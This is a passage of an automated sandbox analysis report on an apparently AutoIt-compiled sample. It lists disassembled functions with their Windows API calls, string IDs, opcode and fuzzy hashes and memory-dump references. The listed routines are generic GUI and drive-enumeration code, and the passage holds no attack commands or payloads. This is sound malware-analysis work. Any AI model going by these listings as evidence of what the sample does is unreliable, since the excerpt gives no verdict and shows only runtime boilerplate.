                                                          • Opcode ID: 3e24141cd870bd864b1f27699b93fecfa9bcdaf8b2eacbfabc87525dc9510dfa
                                                          • Instruction ID: 9a8705c02b92cd16398102c8aef030f55a206a74ab8a28b32c52c97aabd5c97b
                                                          • Opcode Fuzzy Hash: 3e24141cd870bd864b1f27699b93fecfa9bcdaf8b2eacbfabc87525dc9510dfa
                                                          • Instruction Fuzzy Hash: 4F917D72408301EFD711DF64EC08E5F7BA9FF88321F104A29F96A961A0D770D988EB52
                                                          Function 004F2C18 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 486windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • DestroyWindow.USER32(?,?,?), ref: 004F2CA2
                                                          • DeleteObject.GDI32(00000000), ref: 004F2CE8
                                                          • DeleteObject.GDI32(00000000), ref: 004F2CF3
                                                          • DestroyIcon.USER32(00000000,?,?,?), ref: 004F2CFE
                                                          • DestroyWindow.USER32(00000000,?,?,?), ref: 004F2D09
                                                          • SendMessageW.USER32(?,00001308,?,00000000), ref: 0052C43B
                                                          • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 0052C474
                                                          • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0052C89D
                                                            • Part of subcall function 004F1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,004F2036,?,00000000,?,?,?,?,004F16CB,00000000,?), ref: 004F1B9A
                                                          • SendMessageW.USER32(?,00001053), ref: 0052C8DA
                                                          • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0052C8F1
                                                          • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0052C907
                                                          • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0052C912
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
                                                          • String ID: 0
                                                          • API String ID: 464785882-4108050209
                                                          • Opcode ID: d1a7c6cae1f8f23cb0403d11596bf9b6985f5192f908aa7629f2f9abbb6b97e7
                                                          • Instruction ID: b7f822156538a965786ee4e108145c24c6b0238230adc54b2f9736c3ddf7de78
                                                          • Opcode Fuzzy Hash: d1a7c6cae1f8f23cb0403d11596bf9b6985f5192f908aa7629f2f9abbb6b97e7
                                                          • Instruction Fuzzy Hash: D3129D30200251AFDB24CF24D998BADBFE1FF46300F54456AE559CB2A2C775E886DF91
                                                          Function 005674AB Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • DestroyWindow.USER32(00000000), ref: 005674DE
                                                          • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0056759D
                                                          • SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 005675DB
                                                          • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 005675ED
                                                          • CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00567633
                                                          • GetClientRect.USER32(00000000,?), ref: 0056763F
                                                          • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00567683
                                                          • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00567692
                                                          • GetStockObject.GDI32(00000011), ref: 005676A2
                                                          • SelectObject.GDI32(00000000,00000000), ref: 005676A6
                                                          • GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 005676B6
                                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 005676BF
                                                          • DeleteDC.GDI32(00000000), ref: 005676C8
                                                          • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 005676F4
                                                          • SendMessageW.USER32(00000030,00000000,00000001), ref: 0056770B
                                                          • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00567746
                                                          • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 0056775A
                                                          • SendMessageW.USER32(00000404,00000001,00000000), ref: 0056776B
                                                          • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 0056779B
                                                          • GetStockObject.GDI32(00000011), ref: 005677A6
                                                          • SendMessageW.USER32(00000030,00000000,?,50000000), ref: 005677B1
                                                          • ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 005677BB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                                          • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
                                                          • API String ID: 2910397461-517079104
                                                          • Opcode ID: f57717dc107934066bea62ea9d0b7ca209920469f6bd89b636e3975228a45b8f
                                                          • Instruction ID: ba9bfbdb22f005e1078886a283040b30cf65bbf664ba3624d61127bdd57d17e3
                                                          • Opcode Fuzzy Hash: f57717dc107934066bea62ea9d0b7ca209920469f6bd89b636e3975228a45b8f
                                                          • Instruction Fuzzy Hash: 13A19071A00609BFEB14DBA4DC4AFAEBBB9FB18714F004215FA15A72E0D774AD04DB64
                                                          Function 0055AD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetErrorMode.KERNEL32(00000001), ref: 0055AD1E
                                                          • GetDriveTypeW.KERNEL32(?,0057FAC0,?,\\.\,0057F910), ref: 0055ADFB
                                                          • SetErrorMode.KERNEL32(00000000,0057FAC0,?,\\.\,0057F910), ref: 0055AF59
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ErrorMode$DriveType
                                                          • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                          • API String ID: 2907320926-4222207086
                                                          • Opcode ID: 979a3cc7ff9d0177c8d327ad4e9c1c1ec9ed6662d9b0a9f9cf68772ac2310f07
                                                          • Instruction ID: f92d03fa778cb4e1e0d06a994d2969ec37fb831659eadeac9f747748979ae4fa
                                                          • Opcode Fuzzy Hash: 979a3cc7ff9d0177c8d327ad4e9c1c1ec9ed6662d9b0a9f9cf68772ac2310f07
                                                          • Instruction Fuzzy Hash: 8551C6B4644209AB8B00EB50CD62CBD7FB1FF49716720465BED07A7291EA309D49EB63
                                                          Function 00579A1C Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00579AD2
                                                          • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00579B8B
                                                          • SendMessageW.USER32(?,00001102,00000002,?), ref: 00579BA7
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window
                                                          • String ID: 0
                                                          • API String ID: 2326795674-4108050209
                                                          • Opcode ID: 8ef6d6dd3ad2fc7108da6db7edf795e909af53859f39d6f4fe7783e1cb6b6082
                                                          • Instruction ID: 2da7f0019500a5e0bc0cdb6e09d2df394ae676a53e83b7de64686edd965075f0
                                                          • Opcode Fuzzy Hash: 8ef6d6dd3ad2fc7108da6db7edf795e909af53859f39d6f4fe7783e1cb6b6082
                                                          • Instruction Fuzzy Hash: CF02D070104201AFDB25CF24E849BAABFE9FF85314F04892DF99DD62A1C774D844EB62
                                                          Function 0057A8CA Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetSysColor.USER32(00000012), ref: 0057A903
                                                          • SetTextColor.GDI32(?,?), ref: 0057A907
                                                          • GetSysColorBrush.USER32(0000000F), ref: 0057A91D
                                                          • GetSysColor.USER32(0000000F), ref: 0057A928
                                                          • CreateSolidBrush.GDI32(?), ref: 0057A92D
                                                          • GetSysColor.USER32(00000011), ref: 0057A945
                                                          • CreatePen.GDI32(00000000,00000001,00743C00), ref: 0057A953
                                                          • SelectObject.GDI32(?,00000000), ref: 0057A964
                                                          • SetBkColor.GDI32(?,00000000), ref: 0057A96D
                                                          • SelectObject.GDI32(?,?), ref: 0057A97A
                                                          • InflateRect.USER32(?,000000FF,000000FF), ref: 0057A999
                                                          • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0057A9B0
                                                          • GetWindowLongW.USER32(00000000,000000F0), ref: 0057A9C5
                                                          • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0057A9ED
                                                          • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0057AA14
                                                          • InflateRect.USER32(?,000000FD,000000FD), ref: 0057AA32
                                                          • DrawFocusRect.USER32(?,?), ref: 0057AA3D
                                                          • GetSysColor.USER32(00000011), ref: 0057AA4B
                                                          • SetTextColor.GDI32(?,00000000), ref: 0057AA53
                                                          • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0057AA67
                                                          • SelectObject.GDI32(?,0057A5FA), ref: 0057AA7E
                                                          • DeleteObject.GDI32(?), ref: 0057AA89
                                                          • SelectObject.GDI32(?,?), ref: 0057AA8F
                                                          • DeleteObject.GDI32(?), ref: 0057AA94
                                                          • SetTextColor.GDI32(?,?), ref: 0057AA9A
                                                          • SetBkColor.GDI32(?,?), ref: 0057AAA4
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                          • String ID:
                                                          • API String ID: 1996641542-0
                                                          • Opcode ID: b81ca504e00c63b1b9608eeab309fbd403c2a71849c0aef0b3cd7abec2bd203f
                                                          • Instruction ID: 7a201ff99af8e3f7e3ca07bfcf119f04c2d2f4a9384e2959621b1f94b4021cf9
                                                          • Opcode Fuzzy Hash: b81ca504e00c63b1b9608eeab309fbd403c2a71849c0aef0b3cd7abec2bd203f
                                                          • Instruction Fuzzy Hash: 3A512D71900208FFDB11DFA4EC48EAE7B79FF48320F118625F919AB2A1D7719994EB50
                                                          Function 0057488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetCursorPos.USER32(?), ref: 005749CA
                                                          • GetDesktopWindow.USER32 ref: 005749DF
                                                          • GetWindowRect.USER32(00000000), ref: 005749E6
                                                          • GetWindowLongW.USER32(?,000000F0), ref: 00574A48
                                                          • DestroyWindow.USER32(?), ref: 00574A74
                                                          • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00574A9D
                                                          • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00574ABB
                                                          • SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00574AE1
                                                          • SendMessageW.USER32(?,00000421,?,?), ref: 00574AF6
                                                          • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00574B09
                                                          • IsWindowVisible.USER32(?), ref: 00574B29
                                                          • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00574B44
                                                          • SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00574B58
                                                          • GetWindowRect.USER32(?,?), ref: 00574B70
                                                          • MonitorFromPoint.USER32(?,?,00000002), ref: 00574B96
                                                          • GetMonitorInfoW.USER32(00000000,?), ref: 00574BB0
                                                          • CopyRect.USER32(?,?), ref: 00574BC7
                                                          • SendMessageW.USER32(?,00000412,00000000), ref: 00574C32
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                          • String ID: ($0$tooltips_class32
                                                          • API String ID: 698492251-4156429822
                                                          • Opcode ID: 6c5702b8514fcaa2d42db6d4234bfe99ed0a5ed512092b18902425398c225714
                                                          • Instruction ID: bb40b55c7658118ef63780a812e39adaf2e74dc989e676cd7187ce83c66d11e1
                                                          • Opcode Fuzzy Hash: 6c5702b8514fcaa2d42db6d4234bfe99ed0a5ed512092b18902425398c225714
                                                          • Instruction Fuzzy Hash: A4B17770608340AFDB04DF65E848B6ABBE5BB88304F00891DF99D9B2A1D771EC45DF96
                                                          Function 005789D5 Relevance: 35.4, APIs: 19, Strings: 1, Instructions: 401windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00578AC1
                                                          • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00578AD2
                                                          • CharNextW.USER32(0000014E), ref: 00578B01
                                                          • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00578B42
                                                          • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00578B58
                                                          • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00578B69
                                                          • SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00578B86
                                                          • SetWindowTextW.USER32(?,0000014E), ref: 00578BD8
                                                          • SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00578BEE
                                                          • SendMessageW.USER32(?,00001002,00000000,?), ref: 00578C1F
                                                          • SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00578C8D
                                                          • SendMessageW.USER32(?,00001053,000000FF,?), ref: 00578D16
                                                          • SendMessageW.USER32(?,00001074,?,00000001), ref: 00578D6E
                                                          • SendMessageW.USER32(?,0000133D,?,?), ref: 00578E1B
                                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 00578E3D
                                                          • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00578E87
                                                          • SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00578EB4
                                                          • DrawMenuBar.USER32(?), ref: 00578EC3
                                                          • SetWindowTextW.USER32(?,0000014E), ref: 00578EEB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Menu$InfoItemTextWindow$CharDrawInvalidateNextRect
                                                          • String ID: 0
                                                          • API String ID: 1015379403-4108050209
                                                          • Opcode ID: 0e7eb486032ae52627b425d6a7dec08a7058c871595de458190ce47513e224be
                                                          • Instruction ID: e5eb331c0351338ad39529ba6f290439749774bc18deda95f369e6668919873e
                                                          • Opcode Fuzzy Hash: 0e7eb486032ae52627b425d6a7dec08a7058c871595de458190ce47513e224be
                                                          • Instruction Fuzzy Hash: 7CE15E70940219ABDB21DF50EC88EFE7F79FF49720F108156F919AA290DB709984EF60
                                                          Function 004F27D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 004F28BC
                                                          • GetSystemMetrics.USER32(00000007), ref: 004F28C4
                                                          • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 004F28EF
                                                          • GetSystemMetrics.USER32(00000008), ref: 004F28F7
                                                          • GetSystemMetrics.USER32(00000004), ref: 004F291C
                                                          • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 004F2939
                                                          • AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 004F2949
                                                          • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 004F297C
                                                          • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 004F2990
                                                          • GetClientRect.USER32(00000000,000000FF), ref: 004F29AE
                                                          • GetStockObject.GDI32(00000011), ref: 004F29CA
                                                          • SendMessageW.USER32(00000000,00000030,00000000), ref: 004F29D5
                                                            • Part of subcall function 004F2344: GetCursorPos.USER32(?), ref: 004F2357
                                                            • Part of subcall function 004F2344: ScreenToClient.USER32(005B57B0,?), ref: 004F2374
                                                            • Part of subcall function 004F2344: GetAsyncKeyState.USER32(00000001), ref: 004F2399
                                                            • Part of subcall function 004F2344: GetAsyncKeyState.USER32(00000002), ref: 004F23A7
                                                          • SetTimer.USER32(00000000,00000000,00000028,004F1256), ref: 004F29FC
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                          • String ID: AutoIt v3 GUI
                                                          • API String ID: 1458621304-248962490
                                                          • Opcode ID: a41d74fa2d7a2905376c1cd785eb7b36816f991f9accf7e773f913b51d7cd9c2
                                                          • Instruction ID: 3b0d0b4f638363e86ec94b2112d7351d384b8363a659acda3649096512ee01ca
                                                          • Opcode Fuzzy Hash: a41d74fa2d7a2905376c1cd785eb7b36816f991f9accf7e773f913b51d7cd9c2
                                                          • Instruction Fuzzy Hash: 54B18E71A0020AEFDB14DFA8DD45BAE7BB5FF18314F10422AFA15A72E0DB74A841DB54
                                                          Function 00564FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadCursorW.USER32(00000000,00007F8A), ref: 00565013
                                                          • LoadCursorW.USER32(00000000,00007F00), ref: 0056501E
                                                          • LoadCursorW.USER32(00000000,00007F03), ref: 00565029
                                                          • LoadCursorW.USER32(00000000,00007F8B), ref: 00565034
                                                          • LoadCursorW.USER32(00000000,00007F01), ref: 0056503F
                                                          • LoadCursorW.USER32(00000000,00007F81), ref: 0056504A
                                                          • LoadCursorW.USER32(00000000,00007F88), ref: 00565055
                                                          • LoadCursorW.USER32(00000000,00007F80), ref: 00565060
                                                          • LoadCursorW.USER32(00000000,00007F86), ref: 0056506B
                                                          • LoadCursorW.USER32(00000000,00007F83), ref: 00565076
                                                          • LoadCursorW.USER32(00000000,00007F85), ref: 00565081
                                                          • LoadCursorW.USER32(00000000,00007F82), ref: 0056508C
                                                          • LoadCursorW.USER32(00000000,00007F84), ref: 00565097
                                                          • LoadCursorW.USER32(00000000,00007F04), ref: 005650A2
                                                          • LoadCursorW.USER32(00000000,00007F02), ref: 005650AD
                                                          • LoadCursorW.USER32(00000000,00007F89), ref: 005650B8
                                                          • GetCursorInfo.USER32(?), ref: 005650C8
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Cursor$Load$Info
                                                          • String ID:
                                                          • API String ID: 2577412497-0
                                                          • Opcode ID: 593c66603ca7290f9f2a853ab6273ae44dc96b7701d2571f2bb7398ee12f33ae
                                                          • Instruction ID: 69a5d76d75e3911532d49a63f036fdc778a88851aba41a6b68a901deb9d942b4
                                                          • Opcode Fuzzy Hash: 593c66603ca7290f9f2a853ab6273ae44dc96b7701d2571f2bb7398ee12f33ae
                                                          • Instruction Fuzzy Hash: 0331E1B1D483196ADF209FB68C8996EBFE8FB04750F50453AA54DE7280EA78A504CF91
                                                          Function 0057C5FE Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 181windowfileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F2612: GetWindowLongW.USER32(?,000000EB), ref: 004F2623
                                                          • DragQueryPoint.SHELL32(?,?), ref: 0057C627
                                                            • Part of subcall function 0057AB37: ClientToScreen.USER32(?,?), ref: 0057AB60
                                                            • Part of subcall function 0057AB37: GetWindowRect.USER32(?,?), ref: 0057ABD6
                                                            • Part of subcall function 0057AB37: PtInRect.USER32(?,?,0057C014), ref: 0057ABE6
                                                          • SendMessageW.USER32(?,000000B0,?,?), ref: 0057C690
                                                          • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0057C69B
                                                          • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0057C6BE
                                                          • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0057C705
                                                          • SendMessageW.USER32(?,000000B0,?,?), ref: 0057C71E
                                                          • SendMessageW.USER32(?,000000B1,?,?), ref: 0057C735
                                                          • SendMessageW.USER32(?,000000B1,?,?), ref: 0057C757
                                                          • DragFinish.SHELL32(?), ref: 0057C75E
                                                          • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0057C851
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
                                                          • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$pb[
                                                          • API String ID: 221274066-1704122981
                                                          • Opcode ID: c0b5109d5828203c3a99a4b2558b05f7b0cf27f64f199111ae766dea97d87aff
                                                          • Instruction ID: 9518971dd5b918bfc7cfab26dea73b05a796530687e85ffed335465a20d0a428
                                                          • Opcode Fuzzy Hash: c0b5109d5828203c3a99a4b2558b05f7b0cf27f64f199111ae766dea97d87aff
                                                          • Instruction Fuzzy Hash: 06618B71108305AFC701EF64E885DAFBFE8FF99714F00092EF695921A1DB70AA49DB52
                                                          Function 00574392 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CharUpperBuffW.USER32(?,?), ref: 00574424
                                                          • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0057446F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
